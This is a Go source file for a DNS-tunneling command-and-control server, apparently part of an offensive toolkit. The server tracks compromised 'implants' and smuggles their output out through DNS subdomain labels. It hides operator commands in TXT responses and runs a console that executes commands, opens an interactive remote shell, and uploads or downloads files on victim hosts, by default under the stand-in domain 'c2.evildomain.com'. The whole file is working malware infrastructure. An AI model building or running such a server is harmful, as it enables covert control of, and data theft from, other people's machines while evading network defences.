noPROXY_c2s/c2s_dns_tunnel/server/main.go

830 lines
22 KiB
Go

package main
import (
"bufio"
"crypto/rand"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"log"
"os"
"os/signal"
"sort"
"strconv"
"strings"
"sync"
"syscall"
"time"
"github.com/miekg/dns"
)
// ─── Constants ───────────────────────────────────────────────────────────────
const (
defaultListen = ":5353"
chunkSize = 400 // max base64 payload per DNS label (well under 512 after overhead)
maxQueryLabels = 6 // max subdomain labels before the domain
)
// ─── Implant State ───────────────────────────────────────────────────────────
type ImplantState struct {
mu sync.Mutex
ID string
FirstSeen time.Time
LastSeen time.Time
PendingOutput []string // base64 output chunks from implant, in order
PendingCmd string // base64-encoded command waiting for implant
PendingCmdSeq int // chunk sequence for command
PendingCmdChunks []string
PendingCmdTotal int
Interval int // seconds between queries (server-controlled)
}
type C2Server struct {
mu sync.RWMutex
implants map[string]*ImplantState
domain string // e.g. "c2.evildomain.com"
}
func NewC2Server(domain string) *C2Server {
return &C2Server{
implants: make(map[string]*ImplantState),
domain: domain,
}
}
func (s *C2Server) getOrCreate(id string) *ImplantState {
s.mu.Lock()
defer s.mu.Unlock()
imp, ok := s.implants[id]
if !ok {
imp = &ImplantState{
ID: id,
FirstSeen: time.Now(),
LastSeen: time.Now(),
Interval: 30,
}
s.implants[id] = imp
} else {
imp.LastSeen = time.Now()
}
return imp
}
// ─── DNS Handler ─────────────────────────────────────────────────────────────
func (s *C2Server) ServeDNS(w dns.ResponseWriter, req *dns.Msg) {
if len(req.Question) == 0 {
return
}
q := req.Question[0]
domain := dns.Fqdn(q.Name)
// Strip trailing dot for parsing
fqdn := strings.TrimSuffix(domain, ".")
// We only care about our domain
if !strings.HasSuffix(fqdn, s.domain) {
// Return NXDOMAIN for unknown domains — looks natural
m := new(dns.Msg)
m.SetReply(req)
m.Rcode = dns.RcodeNameError
w.WriteMsg(m)
return
}
// The expected fqdn format:
// <status>.<implant-id>.<base64-output>.c2.<domain>
// e.g., "ready.myimplant.aGVsbG8=.c2.evildomain.com"
// or there may be additional labels for chunked data:
// <status>.<implant-id>.<chunk-seq>.<total-chunks>.<base64-chunk>.c2.<domain>
// Strip the domain prefix
tail := strings.TrimSuffix(fqdn, "."+s.domain)
tail = strings.TrimSuffix(tail, ".c2")
if tail == "" {
m := new(dns.Msg)
m.SetReply(req)
m.Rcode = dns.RcodeNameError
w.WriteMsg(m)
return
}
labels := strings.Split(tail, ".")
if len(labels) < 2 {
m := new(dns.Msg)
m.SetReply(req)
m.Rcode = dns.RcodeNameError
w.WriteMsg(m)
return
}
status := labels[0]
implantID := labels[1]
imp := s.getOrCreate(implantID)
switch q.Qtype {
case dns.TypeTXT:
s.handleTXTQuery(w, req, imp, status, labels[2:])
case dns.TypeA:
// Implant is doing a lookup — return nothing for A but
// still capture the query. Some implementations use A
// with subdomain encoding.
s.handleAQuery(w, req, imp, status, labels[2:])
default:
m := new(dns.Msg)
m.SetReply(req)
w.WriteMsg(m)
}
}
func (s *C2Server) handleAQuery(w dns.ResponseWriter, req *dns.Msg, imp *ImplantState, status string, dataLabels []string) {
m := new(dns.Msg)
m.SetReply(req)
// Still process any data encoded in the query
if len(dataLabels) > 0 {
s.processImplantData(imp, status, dataLabels)
}
// Return NXDOMAIN — no A records here
m.Rcode = dns.RcodeNameError
w.WriteMsg(m)
}
func (s *C2Server) handleTXTQuery(w dns.ResponseWriter, req *dns.Msg, imp *ImplantState, status string, dataLabels []string) {
m := new(dns.Msg)
m.SetReply(req)
m.Authoritative = true
// Process any data coming from the implant
if len(dataLabels) > 0 {
s.processImplantData(imp, status, dataLabels)
}
// Check if there's a pending command
imp.mu.Lock()
cmd := imp.PendingCmd
hasCmd := cmd != ""
imp.mu.Unlock()
if hasCmd {
// Return the pending command as TXT records
imp.mu.Lock()
command := imp.PendingCmd
chunks := imp.PendingCmdChunks
total := imp.PendingCmdTotal
if total <= 1 {
// Single chunk — return directly
rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"%s\"", dns.Fqdn(req.Question[0].Name), command))
if err == nil {
m.Answer = append(m.Answer, rr)
}
// Clear the command
imp.PendingCmd = ""
imp.PendingCmdChunks = nil
imp.PendingCmdTotal = 0
imp.PendingCmdSeq = 0
} else {
// Send next chunk
if imp.PendingCmdSeq < len(chunks) {
chunk := chunks[imp.PendingCmdSeq]
chunkLabel := fmt.Sprintf("%s.%d.%d", chunk, imp.PendingCmdSeq+1, total)
rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"%s\"", dns.Fqdn(req.Question[0].Name), chunkLabel))
if err == nil {
m.Answer = append(m.Answer, rr)
}
imp.PendingCmdSeq++
if imp.PendingCmdSeq >= total {
imp.PendingCmd = ""
imp.PendingCmdChunks = nil
imp.PendingCmdTotal = 0
imp.PendingCmdSeq = 0
}
}
}
imp.mu.Unlock()
} else {
// No pending command — return empty TXT (just a space)
rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"\"", dns.Fqdn(req.Question[0].Name)))
if err == nil {
m.Answer = append(m.Answer, rr)
}
}
w.WriteMsg(m)
}
func (s *C2Server) processImplantData(imp *ImplantState, status string, dataLabels []string) {
// Parse dataLabels:
// For simple: [base64output]
// For chunked: [chunk-seq, total-chunks, base64chunk, ...]
// Multiple base64 chunks can appear
var outputChunks []string
remainingLabels := dataLabels
for len(remainingLabels) > 0 {
// Check if next labels look like a chunked header: seq.total.data
// or just raw data
label := remainingLabels[0]
// Try to decode as base64
decoded, err := decodeB64Safe(label)
if err == nil && len(decoded) > 0 {
outputChunks = append(outputChunks, label)
remainingLabels = remainingLabels[1:]
} else {
// Check for seq.total.data pattern
if len(remainingLabels) >= 3 {
seq, err1 := strconv.Atoi(remainingLabels[0])
total, err2 := strconv.Atoi(remainingLabels[1])
if err1 == nil && err2 == nil && seq > 0 && total > 0 && seq <= total {
data := remainingLabels[2]
outputChunks = append(outputChunks, fmt.Sprintf("[%d/%d]%s", seq, total, data))
remainingLabels = remainingLabels[3:]
continue
}
}
// Unknown format, skip
remainingLabels = remainingLabels[1:]
}
}
if len(outputChunks) > 0 {
imp.mu.Lock()
imp.PendingOutput = append(imp.PendingOutput, outputChunks...)
imp.mu.Unlock()
}
}
// ─── Command Queueing ────────────────────────────────────────────────────────
func (s *C2Server) QueueCommand(id string, command string) error {
s.mu.RLock()
imp, ok := s.implants[id]
s.mu.RUnlock()
if !ok {
return fmt.Errorf("implant %s not found", id)
}
encoded := base64.StdEncoding.EncodeToString([]byte(command))
// If the command fits in a single chunk, send it directly
if len(encoded) <= chunkSize {
imp.mu.Lock()
imp.PendingCmd = encoded
imp.PendingCmdChunks = nil
imp.PendingCmdTotal = 1
imp.PendingCmdSeq = 0
imp.mu.Unlock()
return nil
}
// Chunk the command
chunks := chunkString(encoded, chunkSize)
imp.mu.Lock()
imp.PendingCmd = encoded
imp.PendingCmdChunks = chunks
imp.PendingCmdTotal = len(chunks)
imp.PendingCmdSeq = 0
imp.mu.Unlock()
return nil
}
func (s *C2Server) QueueCommandRaw(id string, encodedCmd string) error {
s.mu.RLock()
imp, ok := s.implants[id]
s.mu.RUnlock()
if !ok {
return fmt.Errorf("implant %s not found", id)
}
if len(encodedCmd) <= chunkSize {
imp.mu.Lock()
imp.PendingCmd = encodedCmd
imp.PendingCmdChunks = nil
imp.PendingCmdTotal = 1
imp.PendingCmdSeq = 0
imp.mu.Unlock()
return nil
}
chunks := chunkString(encodedCmd, chunkSize)
imp.mu.Lock()
imp.PendingCmd = encodedCmd
imp.PendingCmdChunks = chunks
imp.PendingCmdTotal = len(chunks)
imp.PendingCmdSeq = 0
imp.mu.Unlock()
return nil
}
func (s *C2Server) SetInterval(id string, interval int) error {
s.mu.RLock()
imp, ok := s.implants[id]
s.mu.RUnlock()
if !ok {
return fmt.Errorf("implant %s not found", id)
}
imp.mu.Lock()
imp.Interval = interval
imp.mu.Unlock()
// Queue a special "INTERVAL:<N>" command to tell the implant
cmd := fmt.Sprintf("__INTERVAL__:%d", interval)
return s.QueueCommand(id, cmd)
}
// ─── Operator Interface ──────────────────────────────────────────────────────
func operatorUI(srv *C2Server, shutdown chan struct{}) {
reader := bufio.NewReader(os.Stdin)
var selectedID string
// Read a single line and then check behavior
fmt.Println("╔══════════════════════════════════════════════╗")
fmt.Println("║ DNS Tunneling C2 — Operator Console ║")
fmt.Println("╚══════════════════════════════════════════════╝")
fmt.Println()
printHelp()
for {
select {
case <-shutdown:
fmt.Println("Shutting down...")
return
default:
}
prefix := "C2> "
if selectedID != "" {
prefix = fmt.Sprintf("C2[%s]> ", selectedID)
}
fmt.Print(prefix)
input, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
// EOF from stdin (daemon/pipe mode) — wait for signal
fmt.Println("\nDaemon mode — waiting for signal to shut down...")
<-shutdown
return
}
log.Printf("Read error: %v", err)
continue
}
input = strings.TrimSpace(input)
if input == "" {
continue
}
args := strings.Fields(input)
cmd := args[0]
switch cmd {
case "help", "h", "?":
printHelp()
case "list", "ls":
listImplants(srv)
case "use":
if len(args) < 2 {
fmt.Println("Usage: use <implant-id>")
continue
}
id := args[1]
srv.mu.RLock()
_, ok := srv.implants[id]
srv.mu.RUnlock()
if !ok {
fmt.Printf("Implant %s not found\n", id)
continue
}
selectedID = id
fmt.Printf("Selected implant: %s\n", id)
case "back":
if selectedID != "" {
fmt.Printf("Deselected implant %s\n", selectedID)
selectedID = ""
} else {
fmt.Println("No implant selected")
}
case "exec":
if selectedID == "" {
fmt.Println("No implant selected. Use 'use <id>' first.")
continue
}
if len(args) < 2 {
fmt.Println("Usage: exec <command>")
continue
}
command := strings.Join(args[1:], " ")
err := srv.QueueCommand(selectedID, command)
if err != nil {
fmt.Printf("Error: %v\n", err)
} else {
fmt.Printf("Queued command for %s: %s\n", selectedID, command)
}
case "interval":
if selectedID == "" {
fmt.Println("No implant selected.")
continue
}
if len(args) < 2 {
// Show current interval
srv.mu.RLock()
imp, ok := srv.implants[selectedID]
srv.mu.RUnlock()
if ok {
imp.mu.Lock()
fmt.Printf("Current interval: %ds\n", imp.Interval)
imp.mu.Unlock()
}
continue
}
n, err := strconv.Atoi(args[1])
if err != nil || n < 1 {
fmt.Println("Interval must be a positive integer (seconds)")
continue
}
err = srv.SetInterval(selectedID, n)
if err != nil {
fmt.Printf("Error: %v\n", err)
} else {
fmt.Printf("Set interval for %s to %ds\n", selectedID, n)
}
case "upload":
if selectedID == "" {
fmt.Println("No implant selected.")
continue
}
if len(args) < 3 {
fmt.Println("Usage: upload <local_file> <remote_path>")
continue
}
localFile := args[1]
remotePath := args[2]
handleUpload(srv, selectedID, localFile, remotePath)
case "download":
if selectedID == "" {
fmt.Println("No implant selected.")
continue
}
if len(args) < 2 {
fmt.Println("Usage: download <remote_path>")
continue
}
remotePath := args[1]
handleDownload(srv, selectedID, remotePath)
case "output":
if selectedID == "" {
fmt.Println("No implant selected.")
continue
}
srv.mu.RLock()
imp, ok := srv.implants[selectedID]
srv.mu.RUnlock()
if !ok {
fmt.Println("Implant not found")
continue
}
imp.mu.Lock()
if len(imp.PendingOutput) == 0 {
fmt.Println("No pending output")
} else {
fmt.Printf("=== Output for %s ===\n", selectedID)
for _, chunk := range imp.PendingOutput {
decoded, err := decodeB64Safe(chunk)
if err == nil {
fmt.Print(string(decoded))
} else {
fmt.Print(chunk)
}
}
fmt.Println()
fmt.Println("======================")
imp.PendingOutput = nil
}
imp.mu.Unlock()
case "info":
if selectedID == "" {
fmt.Println("No implant selected.")
continue
}
srv.mu.RLock()
imp, ok := srv.implants[selectedID]
srv.mu.RUnlock()
if ok {
imp.mu.Lock()
fmt.Printf("Implant ID: %s\n", imp.ID)
fmt.Printf("First Seen: %s\n", imp.FirstSeen.Format(time.RFC3339))
fmt.Printf("Last Seen: %s\n", imp.LastSeen.Format(time.RFC3339))
fmt.Printf("Interval: %ds\n", imp.Interval)
hasCmd := imp.PendingCmd != ""
imp.mu.Unlock()
if hasCmd {
fmt.Println("Command Queued: YES")
} else {
fmt.Println("Command Queued: no")
}
}
case "clear", "cls":
fmt.Print("\033[H\033[2J")
case "exit", "quit", "q":
fmt.Println("Shutting down...")
os.Exit(0)
case "shell":
if selectedID == "" {
fmt.Println("No implant selected.")
continue
}
fmt.Println("Entering interactive shell mode for", selectedID)
fmt.Println("Type 'EXIT' to return to C2 prompt")
for {
fmt.Printf("⌂ %s $ ", selectedID)
line, err := reader.ReadString('\n')
if err != nil {
break
}
line = strings.TrimSpace(line)
if line == "" {
continue
}
if strings.ToUpper(line) == "EXIT" {
break
}
err = srv.QueueCommand(selectedID, line)
if err != nil {
fmt.Printf("Error: %v\n", err)
} else {
fmt.Printf("Queued: %s\n", line)
}
}
default:
fmt.Printf("Unknown command: %s\n", cmd)
fmt.Println("Type 'help' for available commands")
}
}
}
func printHelp() {
fmt.Println("Available Commands:")
fmt.Println(" help, h, ? — Show this help")
fmt.Println(" list, ls — List connected implants")
fmt.Println(" use <id> — Select an implant")
fmt.Println(" back — Deselect current implant")
fmt.Println(" info — Show selected implant info")
fmt.Println(" exec <cmd> — Execute a command on selected implant")
fmt.Println(" shell — Interactive one-shot shell mode")
fmt.Println(" interval <sec> — Set query interval for selected implant")
fmt.Println(" upload <local> <remote> — Upload file to implant (chunked)")
fmt.Println(" download <remote> — Download file from implant")
fmt.Println(" output — Show pending output from selected implant")
fmt.Println(" clear, cls — Clear screen")
fmt.Println(" exit, q — Quit")
fmt.Println()
}
func listImplants(srv *C2Server) {
srv.mu.RLock()
defer srv.mu.RUnlock()
if len(srv.implants) == 0 {
fmt.Println("No implants connected")
return
}
ids := make([]string, 0, len(srv.implants))
for id := range srv.implants {
ids = append(ids, id)
}
sort.Strings(ids)
fmt.Printf("%-30s %-20s %-20s %s\n", "IMPLANT ID", "FIRST SEEN", "LAST SEEN", "OUTPUT")
fmt.Println(strings.Repeat("─", 90))
for _, id := range ids {
imp := srv.implants[id]
imp.mu.Lock()
first := imp.FirstSeen.Format("15:04:05 Jan02")
last := imp.LastSeen.Format("15:04:05 Jan02")
oc := len(imp.PendingOutput)
imp.mu.Unlock()
outputStatus := ""
if oc > 0 {
outputStatus = fmt.Sprintf("%d chunks", oc)
}
fmt.Printf("%-30s %-20s %-20s %s\n", id, first, last, outputStatus)
}
}
// ─── File Upload/Download ────────────────────────────────────────────────────
func handleUpload(srv *C2Server, implantID, localPath, remotePath string) {
data, err := os.ReadFile(localPath)
if err != nil {
fmt.Printf("Error reading %s: %v\n", localPath, err)
return
}
// Command format: __UPLOAD__:<remote_path>:<chunk_base64>
// We send __UPLOAD_START__ with total size, then chunks, then __UPLOAD_END__
encoded := base64.StdEncoding.EncodeToString(data)
// First send the init command
initCmd := fmt.Sprintf("__UPLOAD_START__:%s:%d", remotePath, len(data))
if err := srv.QueueCommand(implantID, initCmd); err != nil {
fmt.Printf("Error queueing upload start: %v\n", err)
return
}
fmt.Printf("Upload start queued for %s -> %s (%d bytes)\n", localPath, remotePath, len(data))
// Send chunks
chunks := chunkString(encoded, chunkSize)
for i, chunk := range chunks {
chunkCmd := fmt.Sprintf("__UPLOAD_CHUNK__:%d:%d:%s", i+1, len(chunks), chunk)
if err := srv.QueueCommand(implantID, chunkCmd); err != nil {
fmt.Printf("Error queueing chunk %d/%d: %v\n", i+1, len(chunks), err)
return
}
fmt.Printf(" Chunk %d/%d queued\n", i+1, len(chunks))
}
// Finalize
endCmd := fmt.Sprintf("__UPLOAD_END__:%s", remotePath)
if err := srv.QueueCommand(implantID, endCmd); err != nil {
fmt.Printf("Error queueing upload end: %v\n", err)
return
}
fmt.Printf("Upload complete: %s -> %s\n", localPath, remotePath)
}
func handleDownload(srv *C2Server, implantID, remotePath string) {
cmd := fmt.Sprintf("__DOWNLOAD__:%s", remotePath)
if err := srv.QueueCommand(implantID, cmd); err != nil {
fmt.Printf("Error: %v\n", err)
return
}
fmt.Printf("Download request queued for %s\n", remotePath)
fmt.Println("Use 'output' to retrieve the file data when it arrives")
}
// ─── Utilities ───────────────────────────────────────────────────────────────
func chunkString(s string, size int) []string {
if len(s) == 0 {
return []string{""}
}
var chunks []string
for i := 0; i < len(s); i += size {
end := i + size
if end > len(s) {
end = len(s)
}
chunks = append(chunks, s[i:end])
}
return chunks
}
func decodeB64Safe(s string) ([]byte, error) {
// Try standard base64 first
data, err := base64.StdEncoding.DecodeString(s)
if err == nil {
return data, nil
}
// Try URL-safe
data, err = base64.URLEncoding.DecodeString(s)
if err == nil {
return data, nil
}
// Try with padding fixes
pad := 4 - len(s)%4
if pad < 4 {
s = s + strings.Repeat("=", pad)
}
return base64.StdEncoding.DecodeString(s)
}
func generateID() string {
b := make([]byte, 8)
rand.Read(b)
return hex.EncodeToString(b)
}
// ─── Main ────────────────────────────────────────────────────────────────────
func main() {
listenAddr := os.Getenv("C2_LISTEN")
if listenAddr == "" {
listenAddr = defaultListen
}
domain := os.Getenv("C2_DOMAIN")
if domain == "" {
domain = "c2.evildomain.com"
}
// Allow override via flags (simple approach)
for i := 1; i < len(os.Args); i++ {
switch os.Args[i] {
case "-listen":
if i+1 < len(os.Args) {
listenAddr = os.Args[i+1]
i++
}
case "-domain":
if i+1 < len(os.Args) {
domain = os.Args[i+1]
i++
}
case "-h", "--help":
fmt.Println("DNS Tunnel C2 Server")
fmt.Println()
fmt.Println("Usage: c2-server [-listen :5353] [-domain c2.evildomain.com]")
fmt.Println()
fmt.Println("Environment variables:")
fmt.Println(" C2_LISTEN — Listen address (default :5353)")
fmt.Println(" C2_DOMAIN — C2 domain (default c2.evildomain.com)")
fmt.Println()
fmt.Println("For privileged port 53, use iptables:")
fmt.Println(" sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353")
fmt.Println(" sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-port 5353")
return
}
}
serverID := os.Getenv("C2_SERVER_ID")
if serverID == "" {
serverID = generateID()
}
log.Printf("DNS Tunnel C2 Server starting...")
log.Printf("Server ID: %s", serverID)
log.Printf("Listening on: %s", listenAddr)
log.Printf("Domain: %s", domain)
log.Printf("")
log.Printf("⚠ Running on port 5353 by default (no root needed)")
log.Printf(" To redirect port 53 → 5353:")
log.Printf(" sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353")
log.Printf("")
srv := NewC2Server(domain)
// Start DNS server
dns.HandleFunc(domain+".", srv.ServeDNS)
go func() {
udpServer := &dns.Server{
Addr: listenAddr,
Net: "udp",
Handler: dns.DefaultServeMux,
}
log.Printf("UDP DNS listener starting on %s", listenAddr)
if err := udpServer.ListenAndServe(); err != nil {
log.Fatalf("Failed to start DNS server: %v", err)
}
}()
// Give DNS server a moment to start
time.Sleep(100 * time.Millisecond)
// Shutdown channel for non-interactive mode
shutdown := make(chan struct{})
// Handle signals for clean shutdown
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
sig := <-sigCh
log.Printf("Received signal %v, shutting down...", sig)
close(shutdown)
}()
// Start operator interface
operatorUI(srv, shutdown)
log.Printf("Server stopped")
}